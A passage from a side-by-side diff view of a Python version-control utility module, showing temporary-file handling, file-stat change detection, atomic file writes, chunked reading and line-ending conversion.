2255 fd, f1 = pycompat.mkstemp(
2265 fd, f1 = pycompat.mkstemp(
2256 prefix=b'.%s-' % os.path.basename(testfile),
2266 prefix=b'.%s-' % os.path.basename(testfile),
2257 suffix=b'1~',
2267 suffix=b'1~',
2258 dir=os.path.dirname(testfile),
2268 dir=os.path.dirname(testfile),
2259 )
2269 )
2260 os.close(fd)
2270 os.close(fd)
2261 f2 = b'%s2~' % f1[:-2]
2271 f2 = b'%s2~' % f1[:-2]
2262
2272
2263 oslink(f1, f2)
2273 oslink(f1, f2)
2264 # nlinks() may behave differently for files on Windows shares if
2274 # nlinks() may behave differently for files on Windows shares if
2265 # the file is open.
2275 # the file is open.
2266 fp = posixfile(f2)
2276 fp = posixfile(f2)
2267 return nlinks(f2) > 1
2277 return nlinks(f2) > 1
2268 except OSError:
2278 except OSError:
2269 return False
2279 return False
2270 finally:
2280 finally:
2271 if fp is not None:
2281 if fp is not None:
2272 fp.close()
2282 fp.close()
2273 for f in (f1, f2):
2283 for f in (f1, f2):
2274 try:
2284 try:
2275 if f is not None:
2285 if f is not None:
2276 os.unlink(f)
2286 os.unlink(f)
2277 except OSError:
2287 except OSError:
2278 pass
2288 pass
2279
2289
2280
2290
2281 def endswithsep(path):
2291 def endswithsep(path):
2282 '''Check path ends with os.sep or os.altsep.'''
2292 '''Check path ends with os.sep or os.altsep.'''
2283 return (
2293 return (
2284 path.endswith(pycompat.ossep)
2294 path.endswith(pycompat.ossep)
2285 or pycompat.osaltsep
2295 or pycompat.osaltsep
2286 and path.endswith(pycompat.osaltsep)
2296 and path.endswith(pycompat.osaltsep)
2287 )
2297 )
2288
2298
2289
2299
2290 def splitpath(path):
2300 def splitpath(path):
2291 '''Split path by os.sep.
2301 '''Split path by os.sep.
2292 Note that this function does not use os.altsep because this is
2302 Note that this function does not use os.altsep because this is
2293 an alternative of simple "xxx.split(os.sep)".
2303 an alternative of simple "xxx.split(os.sep)".
2294 It is recommended to use os.path.normpath() before using this
2304 It is recommended to use os.path.normpath() before using this
2295 function if need.'''
2305 function if need.'''
2296 return path.split(pycompat.ossep)
2306 return path.split(pycompat.ossep)
2297
2307
2298
2308
2299 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2309 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2300 """Create a temporary file with the same contents from name
2310 """Create a temporary file with the same contents from name
2301
2311
2302 The permission bits are copied from the original file.
2312 The permission bits are copied from the original file.
2303
2313
2304 If the temporary file is going to be truncated immediately, you
2314 If the temporary file is going to be truncated immediately, you
2305 can use emptyok=True as an optimization.
2315 can use emptyok=True as an optimization.
2306
2316
2307 Returns the name of the temporary file.
2317 Returns the name of the temporary file.
2308 """
2318 """
2309 d, fn = os.path.split(name)
2319 d, fn = os.path.split(name)
2310 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2320 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2311 os.close(fd)
2321 os.close(fd)
2312 # Temporary files are created with mode 0600, which is usually not
2322 # Temporary files are created with mode 0600, which is usually not
2313 # what we want. If the original file already exists, just copy
2323 # what we want. If the original file already exists, just copy
2314 # its mode. Otherwise, manually obey umask.
2324 # its mode. Otherwise, manually obey umask.
2315 copymode(name, temp, createmode, enforcewritable)
2325 copymode(name, temp, createmode, enforcewritable)
2316
2326
2317 if emptyok:
2327 if emptyok:
2318 return temp
2328 return temp
2319 try:
2329 try:
2320 try:
2330 try:
2321 ifp = posixfile(name, b"rb")
2331 ifp = posixfile(name, b"rb")
2322 except IOError as inst:
2332 except IOError as inst:
2323 if inst.errno == errno.ENOENT:
2333 if inst.errno == errno.ENOENT:
2324 return temp
2334 return temp
2325 if not getattr(inst, 'filename', None):
2335 if not getattr(inst, 'filename', None):
2326 inst.filename = name
2336 inst.filename = name
2327 raise
2337 raise
2328 ofp = posixfile(temp, b"wb")
2338 ofp = posixfile(temp, b"wb")
2329 for chunk in filechunkiter(ifp):
2339 for chunk in filechunkiter(ifp):
2330 ofp.write(chunk)
2340 ofp.write(chunk)
2331 ifp.close()
2341 ifp.close()
2332 ofp.close()
2342 ofp.close()
2333 except: # re-raises
2343 except: # re-raises
2334 try:
2344 try:
2335 os.unlink(temp)
2345 os.unlink(temp)
2336 except OSError:
2346 except OSError:
2337 pass
2347 pass
2338 raise
2348 raise
2339 return temp
2349 return temp
2340
2350
2341
2351
2342 class filestat(object):
2352 class filestat(object):
2343 """help to exactly detect change of a file
2353 """help to exactly detect change of a file
2344
2354
2345 'stat' attribute is result of 'os.stat()' if specified 'path'
2355 'stat' attribute is result of 'os.stat()' if specified 'path'
2346 exists. Otherwise, it is None. This can avoid preparative
2356 exists. Otherwise, it is None. This can avoid preparative
2347 'exists()' examination on client side of this class.
2357 'exists()' examination on client side of this class.
2348 """
2358 """
2349
2359
2350 def __init__(self, stat):
2360 def __init__(self, stat):
2351 self.stat = stat
2361 self.stat = stat
2352
2362
2353 @classmethod
2363 @classmethod
2354 def frompath(cls, path):
2364 def frompath(cls, path):
2355 try:
2365 try:
2356 stat = os.stat(path)
2366 stat = os.stat(path)
2357 except OSError as err:
2367 except OSError as err:
2358 if err.errno != errno.ENOENT:
2368 if err.errno != errno.ENOENT:
2359 raise
2369 raise
2360 stat = None
2370 stat = None
2361 return cls(stat)
2371 return cls(stat)
2362
2372
2363 @classmethod
2373 @classmethod
2364 def fromfp(cls, fp):
2374 def fromfp(cls, fp):
2365 stat = os.fstat(fp.fileno())
2375 stat = os.fstat(fp.fileno())
2366 return cls(stat)
2376 return cls(stat)
2367
2377
2368 __hash__ = object.__hash__
2378 __hash__ = object.__hash__
2369
2379
2370 def __eq__(self, old):
2380 def __eq__(self, old):
2371 try:
2381 try:
2372 # if ambiguity between stat of new and old file is
2382 # if ambiguity between stat of new and old file is
2373 # avoided, comparison of size, ctime and mtime is enough
2383 # avoided, comparison of size, ctime and mtime is enough
2374 # to exactly detect change of a file regardless of platform
2384 # to exactly detect change of a file regardless of platform
2375 return (
2385 return (
2376 self.stat.st_size == old.stat.st_size
2386 self.stat.st_size == old.stat.st_size
2377 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2387 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2378 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2388 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2379 )
2389 )
2380 except AttributeError:
2390 except AttributeError:
2381 pass
2391 pass
2382 try:
2392 try:
2383 return self.stat is None and old.stat is None
2393 return self.stat is None and old.stat is None
2384 except AttributeError:
2394 except AttributeError:
2385 return False
2395 return False
2386
2396
2387 def isambig(self, old):
2397 def isambig(self, old):
2388 """Examine whether new (= self) stat is ambiguous against old one
2398 """Examine whether new (= self) stat is ambiguous against old one
2389
2399
2390 "S[N]" below means stat of a file at N-th change:
2400 "S[N]" below means stat of a file at N-th change:
2391
2401
2392 - S[n-1].ctime < S[n].ctime: can detect change of a file
2402 - S[n-1].ctime < S[n].ctime: can detect change of a file
2393 - S[n-1].ctime == S[n].ctime
2403 - S[n-1].ctime == S[n].ctime
2394 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2404 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2395 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2405 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2396 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2406 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2397 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2407 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2398
2408
2399 Case (*2) above means that a file was changed twice or more at
2409 Case (*2) above means that a file was changed twice or more at
2400 same time in sec (= S[n-1].ctime), and comparison of timestamp
2410 same time in sec (= S[n-1].ctime), and comparison of timestamp
2401 is ambiguous.
2411 is ambiguous.
2402
2412
2403 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2413 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2404 timestamp is ambiguous".
2414 timestamp is ambiguous".
2405
2415
2406 But advancing mtime only in case (*2) doesn't work as
2416 But advancing mtime only in case (*2) doesn't work as
2407 expected, because naturally advanced S[n].mtime in case (*1)
2417 expected, because naturally advanced S[n].mtime in case (*1)
2408 might be equal to manually advanced S[n-1 or earlier].mtime.
2418 might be equal to manually advanced S[n-1 or earlier].mtime.
2409
2419
2410 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2420 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2411 treated as ambiguous regardless of mtime, to avoid overlooking
2421 treated as ambiguous regardless of mtime, to avoid overlooking
2412 by confliction between such mtime.
2422 by confliction between such mtime.
2413
2423
2414 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2424 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2415 S[n].mtime", even if size of a file isn't changed.
2425 S[n].mtime", even if size of a file isn't changed.
2416 """
2426 """
2417 try:
2427 try:
2418 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2428 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2419 except AttributeError:
2429 except AttributeError:
2420 return False
2430 return False
2421
2431
2422 def avoidambig(self, path, old):
2432 def avoidambig(self, path, old):
2423 """Change file stat of specified path to avoid ambiguity
2433 """Change file stat of specified path to avoid ambiguity
2424
2434
2425 'old' should be previous filestat of 'path'.
2435 'old' should be previous filestat of 'path'.
2426
2436
2427 This skips avoiding ambiguity, if a process doesn't have
2437 This skips avoiding ambiguity, if a process doesn't have
2428 appropriate privileges for 'path'. This returns False in this
2438 appropriate privileges for 'path'. This returns False in this
2429 case.
2439 case.
2430
2440
2431 Otherwise, this returns True, as "ambiguity is avoided".
2441 Otherwise, this returns True, as "ambiguity is avoided".
2432 """
2442 """
2433 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2443 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2434 try:
2444 try:
2435 os.utime(path, (advanced, advanced))
2445 os.utime(path, (advanced, advanced))
2436 except OSError as inst:
2446 except OSError as inst:
2437 if inst.errno == errno.EPERM:
2447 if inst.errno == errno.EPERM:
2438 # utime() on the file created by another user causes EPERM,
2448 # utime() on the file created by another user causes EPERM,
2439 # if a process doesn't have appropriate privileges
2449 # if a process doesn't have appropriate privileges
2440 return False
2450 return False
2441 raise
2451 raise
2442 return True
2452 return True
2443
2453
2444 def __ne__(self, other):
2454 def __ne__(self, other):
2445 return not self == other
2455 return not self == other
2446
2456
2447
2457
2448 class atomictempfile(object):
2458 class atomictempfile(object):
2449 '''writable file object that atomically updates a file
2459 '''writable file object that atomically updates a file
2450
2460
2451 All writes will go to a temporary copy of the original file. Call
2461 All writes will go to a temporary copy of the original file. Call
2452 close() when you are done writing, and atomictempfile will rename
2462 close() when you are done writing, and atomictempfile will rename
2453 the temporary copy to the original name, making the changes
2463 the temporary copy to the original name, making the changes
2454 visible. If the object is destroyed without being closed, all your
2464 visible. If the object is destroyed without being closed, all your
2455 writes are discarded.
2465 writes are discarded.
2456
2466
2457 checkambig argument of constructor is used with filestat, and is
2467 checkambig argument of constructor is used with filestat, and is
2458 useful only if target file is guarded by any lock (e.g. repo.lock
2468 useful only if target file is guarded by any lock (e.g. repo.lock
2459 or repo.wlock).
2469 or repo.wlock).
2460 '''
2470 '''
2461
2471
2462 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2472 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2463 self.__name = name # permanent name
2473 self.__name = name # permanent name
2464 self._tempname = mktempcopy(
2474 self._tempname = mktempcopy(
2465 name,
2475 name,
2466 emptyok=(b'w' in mode),
2476 emptyok=(b'w' in mode),
2467 createmode=createmode,
2477 createmode=createmode,
2468 enforcewritable=(b'w' in mode),
2478 enforcewritable=(b'w' in mode),
2469 )
2479 )
2470
2480
2471 self._fp = posixfile(self._tempname, mode)
2481 self._fp = posixfile(self._tempname, mode)
2472 self._checkambig = checkambig
2482 self._checkambig = checkambig
2473
2483
2474 # delegated methods
2484 # delegated methods
2475 self.read = self._fp.read
2485 self.read = self._fp.read
2476 self.write = self._fp.write
2486 self.write = self._fp.write
2477 self.seek = self._fp.seek
2487 self.seek = self._fp.seek
2478 self.tell = self._fp.tell
2488 self.tell = self._fp.tell
2479 self.fileno = self._fp.fileno
2489 self.fileno = self._fp.fileno
2480
2490
2481 def close(self):
2491 def close(self):
2482 if not self._fp.closed:
2492 if not self._fp.closed:
2483 self._fp.close()
2493 self._fp.close()
2484 filename = localpath(self.__name)
2494 filename = localpath(self.__name)
2485 oldstat = self._checkambig and filestat.frompath(filename)
2495 oldstat = self._checkambig and filestat.frompath(filename)
2486 if oldstat and oldstat.stat:
2496 if oldstat and oldstat.stat:
2487 rename(self._tempname, filename)
2497 rename(self._tempname, filename)
2488 newstat = filestat.frompath(filename)
2498 newstat = filestat.frompath(filename)
2489 if newstat.isambig(oldstat):
2499 if newstat.isambig(oldstat):
2490 # stat of changed file is ambiguous to original one
2500 # stat of changed file is ambiguous to original one
2491 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2501 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2492 os.utime(filename, (advanced, advanced))
2502 os.utime(filename, (advanced, advanced))
2493 else:
2503 else:
2494 rename(self._tempname, filename)
2504 rename(self._tempname, filename)
2495
2505
2496 def discard(self):
2506 def discard(self):
2497 if not self._fp.closed:
2507 if not self._fp.closed:
2498 try:
2508 try:
2499 os.unlink(self._tempname)
2509 os.unlink(self._tempname)
2500 except OSError:
2510 except OSError:
2501 pass
2511 pass
2502 self._fp.close()
2512 self._fp.close()
2503
2513
2504 def __del__(self):
2514 def __del__(self):
2505 if safehasattr(self, '_fp'): # constructor actually did something
2515 if safehasattr(self, '_fp'): # constructor actually did something
2506 self.discard()
2516 self.discard()
2507
2517
2508 def __enter__(self):
2518 def __enter__(self):
2509 return self
2519 return self
2510
2520
2511 def __exit__(self, exctype, excvalue, traceback):
2521 def __exit__(self, exctype, excvalue, traceback):
2512 if exctype is not None:
2522 if exctype is not None:
2513 self.discard()
2523 self.discard()
2514 else:
2524 else:
2515 self.close()
2525 self.close()
2516
2526
2517
2527
2518 def unlinkpath(f, ignoremissing=False, rmdir=True):
2528 def unlinkpath(f, ignoremissing=False, rmdir=True):
2519 """unlink and remove the directory if it is empty"""
2529 """unlink and remove the directory if it is empty"""
2520 if ignoremissing:
2530 if ignoremissing:
2521 tryunlink(f)
2531 tryunlink(f)
2522 else:
2532 else:
2523 unlink(f)
2533 unlink(f)
2524 if rmdir:
2534 if rmdir:
2525 # try removing directories that might now be empty
2535 # try removing directories that might now be empty
2526 try:
2536 try:
2527 removedirs(os.path.dirname(f))
2537 removedirs(os.path.dirname(f))
2528 except OSError:
2538 except OSError:
2529 pass
2539 pass
2530
2540
2531
2541
2532 def tryunlink(f):
2542 def tryunlink(f):
2533 """Attempt to remove a file, ignoring ENOENT errors."""
2543 """Attempt to remove a file, ignoring ENOENT errors."""
2534 try:
2544 try:
2535 unlink(f)
2545 unlink(f)
2536 except OSError as e:
2546 except OSError as e:
2537 if e.errno != errno.ENOENT:
2547 if e.errno != errno.ENOENT:
2538 raise
2548 raise
2539
2549
2540
2550
2541 def makedirs(name, mode=None, notindexed=False):
2551 def makedirs(name, mode=None, notindexed=False):
2542 """recursive directory creation with parent mode inheritance
2552 """recursive directory creation with parent mode inheritance
2543
2553
2544 Newly created directories are marked as "not to be indexed by
2554 Newly created directories are marked as "not to be indexed by
2545 the content indexing service", if ``notindexed`` is specified
2555 the content indexing service", if ``notindexed`` is specified
2546 for "write" mode access.
2556 for "write" mode access.
2547 """
2557 """
2548 try:
2558 try:
2549 makedir(name, notindexed)
2559 makedir(name, notindexed)
2550 except OSError as err:
2560 except OSError as err:
2551 if err.errno == errno.EEXIST:
2561 if err.errno == errno.EEXIST:
2552 return
2562 return
2553 if err.errno != errno.ENOENT or not name:
2563 if err.errno != errno.ENOENT or not name:
2554 raise
2564 raise
2555 parent = os.path.dirname(os.path.abspath(name))
2565 parent = os.path.dirname(os.path.abspath(name))
2556 if parent == name:
2566 if parent == name:
2557 raise
2567 raise
2558 makedirs(parent, mode, notindexed)
2568 makedirs(parent, mode, notindexed)
2559 try:
2569 try:
2560 makedir(name, notindexed)
2570 makedir(name, notindexed)
2561 except OSError as err:
2571 except OSError as err:
2562 # Catch EEXIST to handle races
2572 # Catch EEXIST to handle races
2563 if err.errno == errno.EEXIST:
2573 if err.errno == errno.EEXIST:
2564 return
2574 return
2565 raise
2575 raise
2566 if mode is not None:
2576 if mode is not None:
2567 os.chmod(name, mode)
2577 os.chmod(name, mode)
2568
2578
2569
2579
2570 def readfile(path):
2580 def readfile(path):
2571 with open(path, b'rb') as fp:
2581 with open(path, b'rb') as fp:
2572 return fp.read()
2582 return fp.read()
2573
2583
2574
2584
2575 def writefile(path, text):
2585 def writefile(path, text):
2576 with open(path, b'wb') as fp:
2586 with open(path, b'wb') as fp:
2577 fp.write(text)
2587 fp.write(text)
2578
2588
2579
2589
2580 def appendfile(path, text):
2590 def appendfile(path, text):
2581 with open(path, b'ab') as fp:
2591 with open(path, b'ab') as fp:
2582 fp.write(text)
2592 fp.write(text)
2583
2593
2584
2594
2585 class chunkbuffer(object):
2595 class chunkbuffer(object):
2586 """Allow arbitrary sized chunks of data to be efficiently read from an
2596 """Allow arbitrary sized chunks of data to be efficiently read from an
2587 iterator over chunks of arbitrary size."""
2597 iterator over chunks of arbitrary size."""
2588
2598
2589 def __init__(self, in_iter):
2599 def __init__(self, in_iter):
2590 """in_iter is the iterator that's iterating over the input chunks."""
2600 """in_iter is the iterator that's iterating over the input chunks."""
2591
2601
2592 def splitbig(chunks):
2602 def splitbig(chunks):
2593 for chunk in chunks:
2603 for chunk in chunks:
2594 if len(chunk) > 2 ** 20:
2604 if len(chunk) > 2 ** 20:
2595 pos = 0
2605 pos = 0
2596 while pos < len(chunk):
2606 while pos < len(chunk):
2597 end = pos + 2 ** 18
2607 end = pos + 2 ** 18
2598 yield chunk[pos:end]
2608 yield chunk[pos:end]
2599 pos = end
2609 pos = end
2600 else:
2610 else:
2601 yield chunk
2611 yield chunk
2602
2612
2603 self.iter = splitbig(in_iter)
2613 self.iter = splitbig(in_iter)
2604 self._queue = collections.deque()
2614 self._queue = collections.deque()
2605 self._chunkoffset = 0
2615 self._chunkoffset = 0
2606
2616
2607 def read(self, l=None):
2617 def read(self, l=None):
2608 """Read L bytes of data from the iterator of chunks of data.
2618 """Read L bytes of data from the iterator of chunks of data.
2609 Returns less than L bytes if the iterator runs dry.
2619 Returns less than L bytes if the iterator runs dry.
2610
2620
2611 If size parameter is omitted, read everything"""
2621 If size parameter is omitted, read everything"""
2612 if l is None:
2622 if l is None:
2613 return b''.join(self.iter)
2623 return b''.join(self.iter)
2614
2624
2615 left = l
2625 left = l
2616 buf = []
2626 buf = []
2617 queue = self._queue
2627 queue = self._queue
2618 while left > 0:
2628 while left > 0:
2619 # refill the queue
2629 # refill the queue
2620 if not queue:
2630 if not queue:
2621 target = 2 ** 18
2631 target = 2 ** 18
2622 for chunk in self.iter:
2632 for chunk in self.iter:
2623 queue.append(chunk)
2633 queue.append(chunk)
2624 target -= len(chunk)
2634 target -= len(chunk)
2625 if target <= 0:
2635 if target <= 0:
2626 break
2636 break
2627 if not queue:
2637 if not queue:
2628 break
2638 break
2629
2639
2630 # The easy way to do this would be to queue.popleft(), modify the
2640 # The easy way to do this would be to queue.popleft(), modify the
2631 # chunk (if necessary), then queue.appendleft(). However, for cases
2641 # chunk (if necessary), then queue.appendleft(). However, for cases
2632 # where we read partial chunk content, this incurs 2 dequeue
2642 # where we read partial chunk content, this incurs 2 dequeue
2633 # mutations and creates a new str for the remaining chunk in the
2643 # mutations and creates a new str for the remaining chunk in the
2634 # queue. Our code below avoids this overhead.
2644 # queue. Our code below avoids this overhead.
2635
2645
2636 chunk = queue[0]
2646 chunk = queue[0]
2637 chunkl = len(chunk)
2647 chunkl = len(chunk)
2638 offset = self._chunkoffset
2648 offset = self._chunkoffset
2639
2649
2640 # Use full chunk.
2650 # Use full chunk.
2641 if offset == 0 and left >= chunkl:
2651 if offset == 0 and left >= chunkl:
2642 left -= chunkl
2652 left -= chunkl
2643 queue.popleft()
2653 queue.popleft()
2644 buf.append(chunk)
2654 buf.append(chunk)
2645 # self._chunkoffset remains at 0.
2655 # self._chunkoffset remains at 0.
2646 continue
2656 continue
2647
2657
2648 chunkremaining = chunkl - offset
2658 chunkremaining = chunkl - offset
2649
2659
2650 # Use all of unconsumed part of chunk.
2660 # Use all of unconsumed part of chunk.
2651 if left >= chunkremaining:
2661 if left >= chunkremaining:
2652 left -= chunkremaining
2662 left -= chunkremaining
2653 queue.popleft()
2663 queue.popleft()
2654 # offset == 0 is enabled by block above, so this won't merely
2664 # offset == 0 is enabled by block above, so this won't merely
2655 # copy via ``chunk[0:]``.
2665 # copy via ``chunk[0:]``.
2656 buf.append(chunk[offset:])
2666 buf.append(chunk[offset:])
2657 self._chunkoffset = 0
2667 self._chunkoffset = 0
2658
2668
2659 # Partial chunk needed.
2669 # Partial chunk needed.
2660 else:
2670 else:
2661 buf.append(chunk[offset : offset + left])
2671 buf.append(chunk[offset : offset + left])
2662 self._chunkoffset += left
2672 self._chunkoffset += left
2663 left -= chunkremaining
2673 left -= chunkremaining
2664
2674
2665 return b''.join(buf)
2675 return b''.join(buf)
2666
2676
2667
2677
2668 def filechunkiter(f, size=131072, limit=None):
2678 def filechunkiter(f, size=131072, limit=None):
2669 """Create a generator that produces the data in the file size
2679 """Create a generator that produces the data in the file size
2670 (default 131072) bytes at a time, up to optional limit (default is
2680 (default 131072) bytes at a time, up to optional limit (default is
2671 to read all data). Chunks may be less than size bytes if the
2681 to read all data). Chunks may be less than size bytes if the
2672 chunk is the last chunk in the file, or the file is a socket or
2682 chunk is the last chunk in the file, or the file is a socket or
2673 some other type of file that sometimes reads less data than is
2683 some other type of file that sometimes reads less data than is
2674 requested."""
2684 requested."""
2675 assert size >= 0
2685 assert size >= 0
2676 assert limit is None or limit >= 0
2686 assert limit is None or limit >= 0
2677 while True:
2687 while True:
2678 if limit is None:
2688 if limit is None:
2679 nbytes = size
2689 nbytes = size
2680 else:
2690 else:
2681 nbytes = min(limit, size)
2691 nbytes = min(limit, size)
2682 s = nbytes and f.read(nbytes)
2692 s = nbytes and f.read(nbytes)
2683 if not s:
2693 if not s:
2684 break
2694 break
2685 if limit:
2695 if limit:
2686 limit -= len(s)
2696 limit -= len(s)
2687 yield s
2697 yield s
2688
2698
2689
2699
2690 class cappedreader(object):
2700 class cappedreader(object):
2691 """A file object proxy that allows reading up to N bytes.
2701 """A file object proxy that allows reading up to N bytes.
2692
2702
2693 Given a source file object, instances of this type allow reading up to
2703 Given a source file object, instances of this type allow reading up to
2694 N bytes from that source file object. Attempts to read past the allowed
2704 N bytes from that source file object. Attempts to read past the allowed
2695 limit are treated as EOF.
2705 limit are treated as EOF.
2696
2706
2697 It is assumed that I/O is not performed on the original file object
2707 It is assumed that I/O is not performed on the original file object
2698 in addition to I/O that is performed by this instance. If there is,
2708 in addition to I/O that is performed by this instance. If there is,
2699 state tracking will get out of sync and unexpected results will ensue.
2709 state tracking will get out of sync and unexpected results will ensue.
2700 """
2710 """
2701
2711
2702 def __init__(self, fh, limit):
2712 def __init__(self, fh, limit):
2703 """Allow reading up to <limit> bytes from <fh>."""
2713 """Allow reading up to <limit> bytes from <fh>."""
2704 self._fh = fh
2714 self._fh = fh
2705 self._left = limit
2715 self._left = limit
2706
2716
2707 def read(self, n=-1):
2717 def read(self, n=-1):
2708 if not self._left:
2718 if not self._left:
2709 return b''
2719 return b''
2710
2720
2711 if n < 0:
2721 if n < 0:
2712 n = self._left
2722 n = self._left
2713
2723
2714 data = self._fh.read(min(n, self._left))
2724 data = self._fh.read(min(n, self._left))
2715 self._left -= len(data)
2725 self._left -= len(data)
2716 assert self._left >= 0
2726 assert self._left >= 0
2717
2727
2718 return data
2728 return data
2719
2729
2720 def readinto(self, b):
2730 def readinto(self, b):
2721 res = self.read(len(b))
2731 res = self.read(len(b))
2722 if res is None:
2732 if res is None:
2723 return None
2733 return None
2724
2734
2725 b[0 : len(res)] = res
2735 b[0 : len(res)] = res
2726 return len(res)
2736 return len(res)
2727
2737
2728
2738
2729 def unitcountfn(*unittable):
2739 def unitcountfn(*unittable):
2730 '''return a function that renders a readable count of some quantity'''
2740 '''return a function that renders a readable count of some quantity'''
2731
2741
2732 def go(count):
2742 def go(count):
2733 for multiplier, divisor, format in unittable:
2743 for multiplier, divisor, format in unittable:
2734 if abs(count) >= divisor * multiplier:
2744 if abs(count) >= divisor * multiplier:
2735 return format % (count / float(divisor))
2745 return format % (count / float(divisor))
2736 return unittable[-1][2] % count
2746 return unittable[-1][2] % count
2737
2747
2738 return go
2748 return go
2739
2749
2740
2750
2741 def processlinerange(fromline, toline):
2751 def processlinerange(fromline, toline):
2742 """Check that linerange <fromline>:<toline> makes sense and return a
2752 """Check that linerange <fromline>:<toline> makes sense and return a
2743 0-based range.
2753 0-based range.
2744
2754
2745 >>> processlinerange(10, 20)
2755 >>> processlinerange(10, 20)
2746 (9, 20)
2756 (9, 20)
2747 >>> processlinerange(2, 1)
2757 >>> processlinerange(2, 1)
2748 Traceback (most recent call last):
2758 Traceback (most recent call last):
2749 ...
2759 ...
2750 ParseError: line range must be positive
2760 ParseError: line range must be positive
2751 >>> processlinerange(0, 5)
2761 >>> processlinerange(0, 5)
2752 Traceback (most recent call last):
2762 Traceback (most recent call last):
2753 ...
2763 ...
2754 ParseError: fromline must be strictly positive
2764 ParseError: fromline must be strictly positive
2755 """
2765 """
2756 if toline - fromline < 0:
2766 if toline - fromline < 0:
2757 raise error.ParseError(_(b"line range must be positive"))
2767 raise error.ParseError(_(b"line range must be positive"))
2758 if fromline < 1:
2768 if fromline < 1:
2759 raise error.ParseError(_(b"fromline must be strictly positive"))
2769 raise error.ParseError(_(b"fromline must be strictly positive"))
2760 return fromline - 1, toline
2770 return fromline - 1, toline
2761
2771
2762
2772
2763 bytecount = unitcountfn(
2773 bytecount = unitcountfn(
2764 (100, 1 << 30, _(b'%.0f GB')),
2774 (100, 1 << 30, _(b'%.0f GB')),
2765 (10, 1 << 30, _(b'%.1f GB')),
2775 (10, 1 << 30, _(b'%.1f GB')),
2766 (1, 1 << 30, _(b'%.2f GB')),
2776 (1, 1 << 30, _(b'%.2f GB')),
2767 (100, 1 << 20, _(b'%.0f MB')),
2777 (100, 1 << 20, _(b'%.0f MB')),
2768 (10, 1 << 20, _(b'%.1f MB')),
2778 (10, 1 << 20, _(b'%.1f MB')),
2769 (1, 1 << 20, _(b'%.2f MB')),
2779 (1, 1 << 20, _(b'%.2f MB')),
2770 (100, 1 << 10, _(b'%.0f KB')),
2780 (100, 1 << 10, _(b'%.0f KB')),
2771 (10, 1 << 10, _(b'%.1f KB')),
2781 (10, 1 << 10, _(b'%.1f KB')),
2772 (1, 1 << 10, _(b'%.2f KB')),
2782 (1, 1 << 10, _(b'%.2f KB')),
2773 (1, 1, _(b'%.0f bytes')),
2783 (1, 1, _(b'%.0f bytes')),
2774 )
2784 )
2775
2785
2776
2786
2777 class transformingwriter(object):
2787 class transformingwriter(object):
2778 """Writable file wrapper to transform data by function"""
2788 """Writable file wrapper to transform data by function"""
2779
2789
2780 def __init__(self, fp, encode):
2790 def __init__(self, fp, encode):
2781 self._fp = fp
2791 self._fp = fp
2782 self._encode = encode
2792 self._encode = encode
2783
2793
2784 def close(self):
2794 def close(self):
2785 self._fp.close()
2795 self._fp.close()
2786
2796
2787 def flush(self):
2797 def flush(self):
2788 self._fp.flush()
2798 self._fp.flush()
2789
2799
2790 def write(self, data):
2800 def write(self, data):
2791 return self._fp.write(self._encode(data))
2801 return self._fp.write(self._encode(data))
2792
2802
2793
2803
2794 # Matches a single EOL which can either be a CRLF where repeated CR
2804 # Matches a single EOL which can either be a CRLF where repeated CR
2795 # are removed or a LF. We do not care about old Macintosh files, so a
2805 # are removed or a LF. We do not care about old Macintosh files, so a
2796 # stray CR is an error.
2806 # stray CR is an error.
2797 _eolre = remod.compile(br'\r*\n')
2807 _eolre = remod.compile(br'\r*\n')
2798
2808
2799
2809
2800 def tolf(s):
2810 def tolf(s):
2801 return _eolre.sub(b'\n', s)
2811 return _eolre.sub(b'\n', s)
2802
2812
2803
2813
2804 def tocrlf(s):
2814 def tocrlf(s):
2805 return _eolre.sub(b'\r\n', s)
2815 return _eolre.sub(b'\r\n', s)
2806
2816
2807
2817
2808 def _crlfwriter(fp):
2818 def _crlfwriter(fp):
2809 return transformingwriter(fp, tocrlf)
2819 return transformingwriter(fp, tocrlf)
2810
2820
2811
2821
2812 if pycompat.oslinesep == b'\r\n':
2822 if pycompat.oslinesep == b'\r\n':
2813 tonativeeol = tocrlf
2823 tonativeeol = tocrlf
2814 fromnativeeol = tolf
2824 fromnativeeol = tolf
2815 nativeeolwriter = _crlfwriter
2825 nativeeolwriter = _crlfwriter
2816 else:
2826 else:
2817 tonativeeol = pycompat.identity
2827 tonativeeol = pycompat.identity
2818 fromnativeeol = pycompat.identity
2828 fromnativeeol = pycompat.identity
2819 nativeeolwriter = pycompat.identity
2829 nativeeolwriter = pycompat.identity
2820
2830
2821 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2831 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2822 3,
2832 3,
2823 0,
